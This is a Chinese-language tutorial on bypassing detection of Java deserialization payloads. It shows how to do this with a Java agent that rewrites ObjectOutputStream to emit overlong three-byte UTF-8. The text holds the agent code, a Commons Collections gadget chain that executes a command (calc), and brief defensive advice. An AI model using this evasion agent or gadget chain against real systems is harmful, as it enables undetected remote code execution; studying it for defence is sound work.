java反序列化通过java agent实现utf-8 Overlong Encoding
字数 1618 2025-08-22 22:47:30
Java反序列化中利用Java Agent实现UTF-8 Overlong Encoding绕过技术
1. 技术背景
UTF-8 Overlong Encoding是一种编码技术,它允许使用比必要更多的字节来表示一个字符。在安全领域,这种技术可以被用来绕过某些安全检测机制,因为它可以改变字节表示形式而不改变实际字符值。
在Java反序列化过程中,readUTF函数负责将字节序列转换为字符串,它会对UTF-8编码的字节进行处理。通过利用Overlong Encoding,我们可以将原本单字节表示的字符转换为三字节表示,从而可能绕过某些安全检测。
2. 技术原理
2.1 UTF-8编码规则
UTF-8编码使用1到4个字节表示一个字符,具体规则如下:
- 0x0000-0x007F:1字节,形式为
0xxxxxxx - 0x0080-0x07FF:2字节,形式为
110xxxxx 10xxxxxx - 0x0800-0xFFFF:3字节,形式为
1110xxxx 10xxxxxx 10xxxxxx
2.2 Overlong Encoding原理
Overlong Encoding是指使用比必要更多的字节来表示一个字符。例如:
- 字符'A' (0x41) 正常编码为
0x41 - 使用Overlong Encoding可以表示为
0xC0 0x81或0xE0 0x80 0x81
2.3 Java反序列化中的处理
在Java序列化过程中,ObjectOutputStream$BlockDataOutputStream类的writeUTF方法负责字符串的序列化。该方法有两个关键部分:
writeUTF(String s, long utflen)- 写入字符串长度和内容writeUTFBody(String s)- 实际执行UTF-8编码转换
3. 技术实现
3.1 Hook目标
我们需要修改两个方法:
ObjectOutputStream$BlockDataOutputStream.writeUTF(String s, long utflen)ObjectOutputStream$BlockDataOutputStream.writeUTFBody(String s)
3.2 具体实现步骤
3.2.1 修改writeUTF方法
原始方法会根据字符串长度和内容决定编码方式,我们需要强制所有字符使用三字节编码:
void writeUTF(String s, long utflen) throws IOException {
writeShort((int) utflen*3); // 强制将长度设置为三倍
writeUTFBody(s);
}
3.2.2 修改writeUTFBody方法
原始方法会根据字符值选择1、2或3字节编码,我们需要强制所有字符使用三字节编码:
private void writeUTFBody(String s) throws IOException {
int limit = MAX_BLOCK_SIZE - 3;
int len = s.length();
for (int off = 0; off < len; ) {
int csize = Math.min(len - off, CHAR_BUF_SIZE);
s.getChars(off, off + csize, cbuf, 0);
for (int cpos = 0; cpos < csize; cpos++) {
char c = cbuf[cpos];
if (pos <= limit) {
// 强制使用三字节编码
buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));
buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));
buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));
pos += 3;
} else {
// 处理缓冲区满的情况
if (c <= 0x007F && c != 0) {
write(c);
} else if (c > 0x07FF) {
write(0xE0 | ((c >> 12) & 0x0F));
write(0x80 | ((c >> 6) & 0x3F));
write(0x80 | ((c >> 0) & 0x3F));
} else {
write(0xC0 | ((c >> 6) & 0x1F));
write(0x80 | ((c >> 0) & 0x3F));
}
}
}
off += csize;
}
}
3.3 Java Agent实现
使用Java Agent技术动态修改上述方法:
public class NightTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("java/io/ObjectOutputStream$BlockDataOutputStream")) {
ClassPool classPool = ClassPool.getDefault();
try {
CtClass ctClass = classPool.get("java.io.ObjectOutputStream$BlockDataOutputStream");
classPool.importPackage(IOException.class.getName());
// 修改writeUTF方法
CtMethod writeUTF = ctClass.getMethod("writeUTF", "(Ljava/lang/String;J)V");
ctClass.removeMethod(writeUTF);
CtMethod make1 = CtNewMethod.make(
"void writeUTF(String s, long utflen) throws IOException {\n" +
" writeShort((int) utflen*3);\n" +
" writeUTFBody(s);\n" +
"}", ctClass);
ctClass.addMethod(make1);
// 修改writeUTFBody方法
CtMethod method = ctClass.getDeclaredMethod("writeUTFBody");
ctClass.removeMethod(method);
CtMethod make = CtNewMethod.make(/* 上面writeUTFBody的代码 */, ctClass);
ctClass.addMethod(make);
ctClass.detach();
return ctClass.toBytecode();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
return classfileBuffer;
}
}
3.4 Agent入口类
public class Agent {
public static void premain(String agentArgs, Instrumentation inst) throws Exception {
inst.addTransformer(new NightTransformer(), true);
inst.retransformClasses(new Class[]{AccessibleObject.class});
}
}
3.5 MANIFEST.MF配置
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Created-By: Apache Maven
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.n1ght.Agent
Project-name: com.n1ght.AgentMain
Project-version: 1.0-SNAPSHOT
4. 使用示例
4.1 启动方式
使用Java Agent启动应用程序:
-javaagent:path/to/agent.jar
4.2 生成Payload示例
使用Commons Collections链生成Payload:
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer);
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
// 设置transformers
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
lazyMap2.remove("yy");
// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
new ObjectOutputStream(fileOutputStream).writeObject(hashtable);
}
}
5. 效果验证
使用该技术后:
- 序列化数据中的字符会全部使用三字节Overlong Encoding表示
- 反序列化过程仍然能够正常执行
- 可以绕过某些基于字节模式匹配的安全检测机制
6. 防御措施
针对这种技术,可以采取以下防御措施:
- 在反序列化前对字节流进行规范化处理,将Overlong Encoding转换为标准编码
- 实现严格的UTF-8编码验证,拒绝非最短形式的编码
- 使用白名单机制限制可反序列化的类
- 更新Java运行环境到最新版本
7. 总结
通过Java Agent技术修改ObjectOutputStream的内部实现,可以强制使用UTF-8 Overlong Encoding来序列化字符串数据。这种技术可以用于绕过某些安全检测机制,但也提醒我们需要在安全防护中考虑编码形式的多样性。理解这种技术有助于我们构建更全面的防御体系。